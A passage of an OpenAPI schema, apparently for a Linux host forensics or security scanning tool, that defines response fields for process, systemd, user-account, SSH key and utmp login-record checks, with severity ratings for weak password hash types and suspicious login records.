read."},"status":{"type":"object","properties":{"name":{"type":"string"},"umask":{"type":"string"},"state":{"type":"string"},"tgid":{"type":"integer"},"ngid":{"type":"integer"},"pid":{"type":"integer"},"ppid":{"type":"integer"},"tracer_pid":{"type":"integer"},"uid":{"type":"integer"},"uid_effective":{"type":"integer"},"uid_saved_set":{"type":"integer"},"uid_file_system":{"type":"integer"},"gid":{"type":"integer"},"gid_effective":{"type":"integer"},"gid_saved_set":{"type":"integer"},"gid_file_system":{"type":"integer"},"groupids":{"type":"array","items":{"type":"integer"}},"groupnames":{"type":"array","items":{"type":"string"}},"ns_tgid":{"type":"integer"},"ns_pid":{"type":"integer"},"ns_pgid":{"type":"integer"},"ns_sid":{"type":"integer"},"vm_peak":{"type":"integer"},"vm_size":{"type":"integer"},"threads":{"type":"integer"},"cap_inh":{"type":"string"},"cap_prm":{"type":"string"},"cap_eff":{"type":"string"},"cap_bnd":{"type":"string"},"cap_amb":{"type":"string"},"seccomp":{"type":"integer"},"seccomp_filters":{"type":"integer"},"flags":{"type":"object","additionalProperties":{"type":"boolean"}},"empty":{"type":"boolean"}}},"capabilities":{"type":"object","description":"Decoded process capability sets. Omitted when no set is populated, which includes a root process holding every capability (the full list is suppressed rather than repeated on every result).","properties":{"permitted":{"description":"Decoded list of permitted capabilities","type":"array","items":{"$ref":"#/components/schemas/LinuxCapability"}},"inheritable":{"description":"Decoded list of inheritable capabilities","type":"array","items":{"$ref":"#/components/schemas/LinuxCapability"}},"effective":{"description":"Decoded list of effective capabilities","type":"array","items":{"$ref":"#/components/schemas/LinuxCapability"}}}}}},"ProcessEngineResponse":{"type":"object","required":["process"],"properties":{"process":{"type":"object","required":["name","extension","cmdline","command","date","pid","ppid","pgid","uid","username","gid","groupname","path","true_path","cwd","entropy","state","system_uptime","selinux_context","flags_list","file_descriptors","environ","stack","cgroup","status"],"properties":{"name":{"type":"string"},"extension":{"type":"string"},"cmdline":{"type":"string"},"cmdargs":{"type":"array","items":{"type":"string"}},"command":{"type":"string"},"date":{"type":"object","properties":{"created":{"type":"string","format":"date-time"},"created_minutes":{"type":"integer"}},"required":["created","created_minutes"]},"pid":{"type":"integer"},"ppid":{"type":"integer"},"pgid":{"type":"integer"},"uid":{"type":"integer"},"username":{"type":"string"},"gid":{"type":"integer"},"groupname":{"type":"string"},"login_uid":{"type":"integer"},"login_uid_username":{"type":"string"},"session_id":{"type":"integer"},"path":{"type":"string"},"true_path":{"type":"string"},"cwd":{"type":"string"},"entropy":{"type":"number"},"state":{"type":"string","description":"Process state as the single letter from /proc/PID/stat: R running, S sleeping, D uninterruptible sleep, Z zombie, T stopped, t tracing stop, X or x dead, I idle, K wakekill, W waking, P parked. Reported verbatim from the kernel, so other letters are possible."},"system_uptime":{"type":"string","format":"date-time"},"selinux_context":{"type":"string"},"flags_list":{"type":"array","items":{"$ref":"#/components/schemas/ProcessFlag"}},"file_descriptors":{"type":"array","items":{"type":"object","properties":{"number":{"type":"integer"},"path":{"type":"string"},"type":{"type":"string"},"class":{"type":"string"},"class_data_socket_packet":{"type":"object","properties":{"type":{"type":"integer"},"type_text":{"type":"string"},"protocol":{"type":"string"},"protocol_text":{"type":"string"},"uid":{"type":"integer"},"interface":{"type":"integer"}}},"class_data_socket_unix":{"type":"object","properties":{"type":{"type":"integer"},"type_text":{"type":"string"},"protocol":{"type":"string"},"protocol_text":{"type":"string"},"state":{"type":"integer"},"state_text":{"type":"string"},"path":{"type":"string"},"abstract":{"type":"boolean"}}},"hidden":{"type":"boolean"},"selinux_context":{"type":"string","description":"SELinux security context label of the file descriptor target"}},"required":["number","path","type","class","hidden","selinux_context"]}},"environ":{"type":"array","items":{"type":"string"}},"stack":{"type":"array","items":{"type":"string"}},"cgroup":{"type":"array","items":{"type":"object","properties":{"hierarchy_id":{"type":"string"},"controller_list":{"type":"string"},"path":{"type":"string"}},"required":["hierarchy_id","controller_list","path"]}},"container":{"type":"object","description":"Container the process is running in. Omitted for a process that is not containerized.","properties":{"id":{"type":"string"},"id_short":{"type":"string"},"rootdir":{"type":"string"}},"required":["id","id_short","rootdir"]},"network_ports":{"type":"object","description":"Network ports the process has open. Only protocols with activity are included, and the block is omitted entirely for a process with no network activity."},"hash":{"type":"object","description":"Hashes of the running process binary. Omitted when the binary could not be hashed, such as for a kernel thread.","properties":{"md5":{"type":"string"},"sha1":{"type":"string"},"sha256":{"type":"string"},"sha512":{"type":"string"}}},"file":{"allOf":[{"$ref":"#/components/schemas/file"}],"description":"On-disk attributes of the process binary, in the same shape as the file engine's file object. Omitted when there is no binary to analyze, such as for a kernel thread."},"parent_process":{"allOf":[{"$ref":"#/components/schemas/process"}],"description":"The parent of this process, in the same shape as the process object itself. Omitted when the parent could not be read."},"status":{"type":"object","properties":{"name":{"type":"string"},"umask":{"type":"string"},"state":{"type":"string"},"tgid":{"type":"integer"},"ngid":{"type":"integer"},"pid":{"type":"integer"},"ppid":{"type":"integer"},"tracer_pid":{"type":"integer"},"uid":{"type":"integer"},"uid_effective":{"type":"integer"},"uid_saved_set":{"type":"integer"},"uid_file_system":{"type":"integer"},"gid":{"type":"integer"},"gid_effective":{"type":"integer"},"gid_saved_set":{"type":"integer"},"gid_file_system":{"type":"integer"},"groupids":{"type":"array","items":{"type":"integer"}},"groupnames":{"type":"array","items":{"type":"string"}},"ns_tgid":{"type":"integer"},"ns_pid":{"type":"integer"},"ns_pgid":{"type":"integer"},"ns_sid":{"type":"integer"},"vm_peak":{"type":"integer"},"vm_size":{"type":"integer"},"threads":{"type":"integer"},"cap_inh":{"type":"string"},"cap_prm":{"type":"string"},"cap_eff":{"type":"string"},"cap_bnd":{"type":"string"},"cap_amb":{"type":"string"},"seccomp":{"type":"integer"},"seccomp_filters":{"type":"integer"},"flags":{"type":"object","additionalProperties":{"type":"boolean"}},"empty":{"type":"boolean"}}},"capabilities":{"type":"object","description":"Decoded process capability sets. Omitted when no set is populated, which includes a root process holding every capability (the full list is suppressed rather than repeated on every result).","properties":{"permitted":{"description":"Decoded list of permitted capabilities","type":"array","items":{"$ref":"#/components/schemas/LinuxCapability"}},"inheritable":{"description":"Decoded list of inheritable capabilities","type":"array","items":{"$ref":"#/components/schemas/LinuxCapability"}},"effective":{"description":"Decoded list of effective capabilities","type":"array","items":{"$ref":"#/components/schemas/LinuxCapability"}}}}}}}},"SystemdSessionEngineResponse":{"type":"object","required":["systemd_user"],"properties":{"systemd_user":{"type":"object","required":["uid","gid","username","runtime_path","start_time","linger"],"properties":{"uid":{"type":"integer"},"gid":{"type":"integer"},"username":{"type":"string"},"runtime_path":{"type":"string"},"start_time":{"type":"string"},"linger":{"type":"boolean"}}}}},"SystemdEngineResponse":{"type":"object","required":["systemd"],"properties":{"systemd":{"type":"object","required":["context","type","name","description","load_state","active_state","sub_state","object_path","service_info"],"properties":{"context":{"type":"object","required":["scope","uid"],"properties":{"scope":{"type":"string"},"uid":{"type":"integer"}}},"type":{"type":"string"},"name":{"type":"string"},"description":{"type":"string"},"load_state":{"type":"string","description":"Whether the unit file was loaded, reported verbatim from systemd. Documented values: stub, loaded, not-found, bad-setting, error, merged, masked."},"active_state":{"type":"string","description":"Whether the unit is running, reported verbatim from systemd. Documented values: active, reloading, inactive, failed, activating, deactivating."},"sub_state":{"type":"string","description":"The unit-type-specific state (for example running, exited, dead), reported verbatim from systemd."},"object_path":{"type":"string"},"service_info":{"type":"object","required":["exec_start","exec_summary","exec_summary_with_args","environment","main_exec_start_time","main_exec_exit_time","main_pid","control_pid","status_text","uid","gid"],"properties":{"exec_start":{"type":"object","required":["binary_path","arguments","pid","last_exit_code","file"],"properties":{"binary_path":{"type":"string"},"arguments":{"type":"array","items":{"type":"string"}},"pid":{"type":"integer"},"last_exit_code":{"type":"integer"},"file":{"type":"object","required":["date","mode","uid","username","gid","groupname","size","size_mismatch","path","path_root","name","flags_list","entropy","hash","magic_num"],"properties":{"date":{"type":"object","required":["created","created_minutes","modified","modified_minutes","accessed","accessed_minutes"],"properties":{"created":{"type":"string"},"created_minutes":{"type":"integer"},"modified":{"type":"string"},"modified_minutes":{"type":"integer"},"accessed":{"type":"string"},"accessed_minutes":{"type":"integer"}}},"mode":{"type":"string"},"uid":{"type":"integer"},"username":{"type":"string"},"gid":{"type":"integer"},"groupname":{"type":"string"},"size":{"type":"integer"},"size_byte_count":{"type":"integer"},"size_mismatch":{"type":"boolean"},"path":{"type":"string"},"path_root":{"type":"string"},"path_link":{"type":"string"},"name":{"type":"string"},"extension":{"type":"string"},"flags_list":{"type":"array","items":{"$ref":"#/components/schemas/FileFlag"}},"entropy":{"type":"number"},"hash":{"type":"object","required":["md5","sha1","sha256","sha512"],"properties":{"md5":{"type":"string"},"sha1":{"type":"string"},"sha256":{"type":"string"},"sha512":{"type":"string"}}},"magic_num":{"type":"object","required":["hex","text","type","class","expected_extensions"],"properties":{"hex":{"type":"string"},"text":{"type":"string"},"type":{"type":"string"},"class":{"$ref":"#/components/schemas/MagicClass"},"expected_extensions":{"type":"array","items":{"type":"string"}}}},"data":{"type":"string","nullable":true},"analysis":{"$ref":"#/components/schemas/Analysis","title":"Systemd.exec_start.file.analysis"}}}}},"exec_start_pre":{"type":"string","nullable":true},"exec_start_post":{"type":"string","nullable":true},"exec_reload":{"type":"string","nullable":true},"exec_stop":{"type":"string","nullable":true},"exec_stop_post":{"type":"string","nullable":true},"exec_summary":{"type":"array","items":{"type":"string"}},"exec_summary_with_args":{"type":"array","items":{"type":"string"}},"environment":{"type":"array","items":{"type":"string"}},"main_exec_start_time":{"type":"string"},"main_exec_exit_time":{"type":"string"},"main_pid":{"type":"object","required":["pid","process"],"properties":{"pid":{"type":"integer"},"process":{"type":"string","nullable":true}}},"control_pid":{"type":"object","required":["pid","process"],"properties":{"pid":{"type":"integer"},"process":{"type":"string","nullable":true}}},"status_text":{"type":"string"},"uid":{"type":"integer"},"gid":{"type":"integer"}}}}}}},"PasswordHashType":{"type":"string","title":"PasswordHashType","description":"The state of an account password, or the hashing algorithm of a usable password hash. The hash itself is never reported.","enum":["locked","disabled","empty","md5crypt","bcrypt","smb-cifs","sha256crypt","sha512crypt","scrypt","yescrypt","yescrypt-gost","sha1","md5-sun","bsdicrypt","descrypt","unknown"],"x-enumDescriptions":{"locked":"Password login is locked: the hash field begins with \"!\".","disabled":"No password login: the hash field is \"*\".","empty":"The hash field is empty: the account can be used without a password.","md5crypt":"MD5-crypt ($1$): a legacy algorithm that is fast to crack.","bcrypt":"bcrypt ($2a$, $2b$, $2x$, $2y$): unusual in /etc/shadow on Linux.","smb-cifs":"SMB/CIFS NT hash ($3$): unsalted and trivially cracked.","sha256crypt":"SHA-256-crypt ($5$): acceptable, but weaker than its successors.","sha512crypt":"SHA-512-crypt ($6$): the common modern default.","scrypt":"scrypt ($7$): a memory-hard algorithm.","yescrypt":"yescrypt ($y$): the current default on recent distributions.","yescrypt-gost":"yescrypt with GOST ($gy$): unusual outside Russian builds.","sha1":"SHA-1-crypt ($sha1$): a legacy algorithm.","md5-sun":"Sun MD5 ($md5): a legacy algorithm.","bsdicrypt":"BSDi extended DES (leading underscore): a legacy algorithm.","descrypt":"Classic 13-character DES: trivially crackable.","unknown":"An unrecognized password hash format."},"x-enumSeverities":{"locked":0,"disabled":0,"empty":5,"md5crypt":5,"bcrypt":5,"smb-cifs":5,"sha256crypt":2,"sha512crypt":0,"scrypt":0,"yescrypt":0,"yescrypt-gost":3,"sha1":5,"md5-sun":5,"bsdicrypt":5,"descrypt":5,"unknown":5}},"UserEngineEngineResponse":{"type":"object","required":["user"],"properties":{"user":{"type":"object","required":["username","groupname","group_membership","shell","uid","gid","gecos","home_dir","password","ssh","inferred"],"properties":{"username":{"type":"string"},"groupname":{"type":"string"},"group_membership":{"type":"array","nullable":true,"items":{"type":"string"},"description":"Names of the groups the user is a member of."},"shell":{"type":"string"},"uid":{"type":"integer"},"gid":{"type":"integer"},"gecos":{"type":"string"},"home_dir":{"type":"string"},"password":{"type":"object","required":["locked","disabled","empty","present","type","days_since_last_changed","age_min","age_max","warning_period","inactivity_period","days_since_expired","reserved","shadow_entry_missing","shadow_parsing_error"],"properties":{"locked":{"type":"boolean"},"disabled":{"type":"boolean"},"empty":{"type":"boolean"},"present":{"type":"boolean"},"type":{"$ref":"#/components/schemas/PasswordHashType"},"days_since_last_changed":{"type":"integer"},"age_min":{"type":"integer"},"age_max":{"type":"integer"},"warning_period":{"type":"integer"},"inactivity_period":{"type":"integer"},"days_since_expired":{"type":"integer"},"reserved":{"type":"string"},"shadow_entry_missing":{"type":"boolean"},"shadow_parsing_error":{"type":"string"}}},"ssh":{"type":"object","required":["authorized_keys","known_hosts","ssh_data_status"],"properties":{"authorized_keys":{"type":"object","required":["present","duplicate_found","total"],"properties":{"present":{"type":"boolean"},"duplicate_found":{"type":"boolean"},"total":{"type":"integer"},"data":{"type":"array","description":"Parsed authorized_keys entries. Omitted when there are none.","items":{"type":"object","required":["entry_num","friendly_name","entry","path","options","type","key","hash","sha256_fingerprint","comment","detected_type","detected_bits","key_parse_error"],"properties":{"entry_num":{"type":"integer"},"friendly_name":{"type":"string","description":"Display name assigned to the key by the server during result processing."},"entry":{"type":"string"},"path":{"type":"string"},"options":{"type":"string"},"type":{"type":"string"},"key":{"type":"string"},"hash":{"type":"object","properties":{"md5":{"type":"string"},"sha1":{"type":"string"},"sha256":{"type":"string"},"sha512":{"type":"string"}}},"sha256_fingerprint":{"type":"string"},"comment":{"type":"string"},"detected_type":{"type":"string"},"detected_bits":{"type":"integer"},"key_parse_error":{"type":"boolean"}}}},"file":{"type":"array","description":"The authorized_keys files the entries came from, each in the same shape as the file engine's file object. Omitted when there are none.","items":{"$ref":"#/components/schemas/file"}}}},"known_hosts":{"type":"object","required":["present","total"],"properties":{"present":{"type":"boolean"},"total":{"type":"integer"},"data":{"type":"array","description":"Parsed known_hosts entries. Omitted when there are none.","items":{"type":"object","required":["entry_num","entry","path","masked","masked_salt","masked_value","marker","hostnames","cert_authority","revoked","type","public_key","key_parse_error","sha256_fingerprint"],"properties":{"entry_num":{"type":"integer"},"entry":{"type":"string"},"path":{"type":"string"},"masked":{"type":"boolean","description":"True when the entry hostname is stored hashed (HashKnownHosts)."},"masked_salt":{"type":"string"},"masked_value":{"type":"string"},"marker":{"type":"string"},"hostnames":{"type":"array","nullable":true,"description":"Null when the entry is masked (HashKnownHosts), since the hostnames cannot be recovered.","items":{"type":"object","required":["hostname","port"],"properties":{"hostname":{"type":"string"},"port":{"type":"integer"}}}},"cert_authority":{"type":"boolean"},"revoked":{"type":"boolean"},"type":{"type":"string"},"public_key":{"type":"string"},"key_parse_error":{"type":"boolean"},"sha256_fingerprint":{"type":"string"}}}},"file":{"allOf":[{"$ref":"#/components/schemas/file"}],"description":"The known_hosts file the entries came from, in the same shape as the file engine's file object. Omitted when there is none."}}},"ssh_data_status":{"type":"string"}}},"inferred":{"type":"boolean","description":"Indicates if the existence of this user is inferred from a directory present under /home, but not found in the /etc/passwd file (e.g. if the user authenticated via LDAP integration and has a local home directory)."}}}}},"UtmpTypeName":{"type":"string","title":"UtmpTypeName","description":"The decoded record type of a utmp, wtmp or btmp entry.","enum":["empty","runlevel","boottime","newtime","oldtime","init","login","user","dead","accounting","invalid"],"x-enumDescriptions":{"empty":"The record contains no valid information.","runlevel":"A change in system run level.","boottime":"The time of system boot.","newtime":"The time after a system clock change. Paired with an oldtime record when the clock was moved.","oldtime":"The time before a system clock change. Paired with a newtime record when the clock was moved.","init":"A process spawned by init.","login":"The session leader for a user login.","user":"A normal user process: an active session.","dead":"A terminated process: a logout.","accounting":"An accounting record. Not implemented on Linux.","invalid":"An unrecognized record type: the record is corrupt or was tampered with."},"x-enumSeverities":{"empty":0,"runlevel":0,"boottime":0,"newtime":5,"oldtime":5,"init":0,"login":0,"user":0,"dead":0,"accounting":0,"invalid":5}},"UtmpEngineResponse":{"type":"object","required":["entry_number","type","type_name","pid","device","id","username","hostname","exit_status","session","date","ip_address","reserved"],"properties":{"entry_number":{"type":"integer"},"type":{"type":"integer"},"type_name":{"$ref":"#/components/schemas/UtmpTypeName"},"pid":{"type":"integer"},"device":{"type":"string"},"id":{"type":"string"},"username":{"type":"string"},"hostname":{"type":"string"},"exit_status":{"type":"object","required":["termination","exit"],"properties":{"termination":{"type":"integer"},"exit":{"type":"integer"}}},"session":{"type":"integer"},"date":{"type":"object","required":["created","created_previous_entry","created_minutes"],"properties":{"created":{"type":"string","format":"date-time"},"created_previous_entry":{"type":"string","format":"date-time"},"created_minutes":{"type":"integer"}}},"ip_address":{"type":"string"},"reserved":{"type":"string"}}}},"securitySchemes":{"bearerAuth":{"bearerFormat":"JWT","scheme":"bearer","type":"http"}}}}